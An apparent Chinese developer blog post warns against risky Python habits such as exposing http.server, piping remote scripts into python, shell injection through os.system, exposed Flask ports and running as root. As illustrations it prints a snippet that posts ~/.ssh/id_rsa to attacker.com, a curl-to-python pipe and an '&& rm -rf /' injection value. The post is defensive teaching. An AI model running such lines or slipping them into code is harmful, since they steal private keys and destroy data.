Python技术迷

别这样直接运行python命令,否则电脑等于“裸奔”

有时候你是不是也有这种习惯? 打开终端,随手来一句:

python -m http.server

或者直接:

python some_script.py

看起来挺方便的对吧?尤其测试点接口、开个临时文件服务器、写点小脚本,几秒钟就能跑起来。 但问题是——如果你不知道自己在执行什么,这个“方便”的命令,可能会让你的电脑彻底裸奔在公网。

1. 那个看似无害的“http.server”

先说最常见的这个:

python -m http.server 8000

很多人都知道它是 Python 自带的一个轻量级 HTTP 文件服务,确实挺好用。 在开发环境里随便一敲,就能把当前目录的文件在 http://localhost:8000 上访问。

问题在于,它不仅仅是“本地”服务。 默认情况下,这个服务器监听的是 0.0.0.0,意思是——只要能访问你电脑的网络的人,都能访问到这个端口。

举个例子,你在公司 WiFi 下打开了 http.server,别的同事只要扫一下你的 IP,比如:

http://192.168.1.105:8000

就能直接看到你文件夹里的所有内容。 甚至还能直接下载、浏览、复制、查看源代码,完全没有任何认证机制。

这不是危言耸听,是真·明文裸奔。

如果你想真的只在本地访问,可以指定绑定地址:

python -m http.server 8000 --bind 127.0.0.1

或者更安全一点,别在生产服务器上用它。 它设计的目的只是临时调试,不是用来部署网站的。

2. “随手运行别人脚本”的陷阱

有时候看到 GitHub 上别人写的脚本很方便,比如:

curl https://some-random-script/raw/install.py | python

然后就直接执行了。 看起来是“自动安装工具”,但实际上你根本不知道里面干了啥。

一个简单的恶意脚本可能长这样:

import os
import requests

requests.post("http://attacker.com/leak", data=open(os.path.expanduser("~/.ssh/id_rsa")).read())

这就直接把你的 SSH 私钥发出去了。 而且你甚至不会察觉。

安全做法其实很简单:永远不要用管道执行远程脚本,下载下来,打开看看,确认无害,再手动运行。 就算是别人推荐的“快捷命令”,也要保持怀疑。

3. 环境变量与命令注入

还有一种更隐蔽的情况,很多初学者喜欢写:

os.system("ping " + user_input)

或者:

os.system(f"rm -rf {filename}")

假设 user_input 是别人输入的字符串, 那只要他输入:

127.0.0.1 && rm -rf /

你就等着电脑凉吧。

更好的写法应该是:

import subprocess

subprocess.run(["ping", user_input])

这种方式不会让 shell 解释字符串,就避免了命令注入风险。

4. 端口暴露带来的隐患

Python 的一些模块,比如 Flask、FastAPI、Streamlit,启动服务时如果你写:

flask run --host=0.0.0.0

那也意味着任何能访问你电脑 IP 的人,都能访问这个服务。 在测试时没问题,但如果是在公网服务器、或者家用路由器端口映射开启的环境下,就有可能被扫描到。

有些人甚至用管理员权限运行 Flask,结果别的机器发个请求,直接能调用你的 API 删除文件、执行命令。 所以要么加认证,要么限定访问地址。比如:

app.run(host="127.0.0.1", port=5000)

再配合 nginx 或 gunicorn 来安全代理。

5. 别忘了 Python 的权限就是系统权限

Python 跑的所有命令、文件读写、网络请求,其实都继承了当前用户的权限。 你用 root 权限运行一个不明脚本,就相当于把系统钥匙交给了别人。

要养成一个好习惯:

  • 不要随便 sudo python ...
  • 不要执行来历不明的 py 文件
  • 不要在生产环境跑临时脚本
  • 尽量用虚拟环境隔离(venv 或 conda)

比如:

python3 -m venv venv
source venv/bin/activate
python your_script.py

这样就算脚本乱改包、改配置,也不会污染整个系统。

6. 简单的安全自测

你可以用下面这段代码测试自己当前运行环境的“开放性”:

import socket

hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)

print(f"当前主机名: {hostname}")
print(f"当前IP地址: {local_ip}")
print("请检查是否是公网可访问IP!")

如果输出的 IP 是公网地址(比如不是 127.x.x.x、192.168.x.x、10.x.x.x), 那说明当前 Python 程序暴露在外部网络里,要格外注意。

Python 很自由,但自由背后也意味着风险。 它不像浏览器那样有沙箱,也不像 JVM 那样有安全沙箱机制。 你运行的每一行代码,都可能直接动系统。

一句话总结:不是 Python 不安全,是你太信任自己写的代码了。

别再随手开 http.server,别再管道执行远程脚本。 能多看一眼源码,就少一个“裸奔”的机会。

-END-

我为大家打造了一份RPA教程,完全免费:songshuhezi.com/rpa.html

🔥虎哥私藏精品🔥

虎哥作为一名老码农,整理了全网最全《python高级架构师资料合集》,总量高达650GB,点击下方公众号回复关键字 python 全部免费领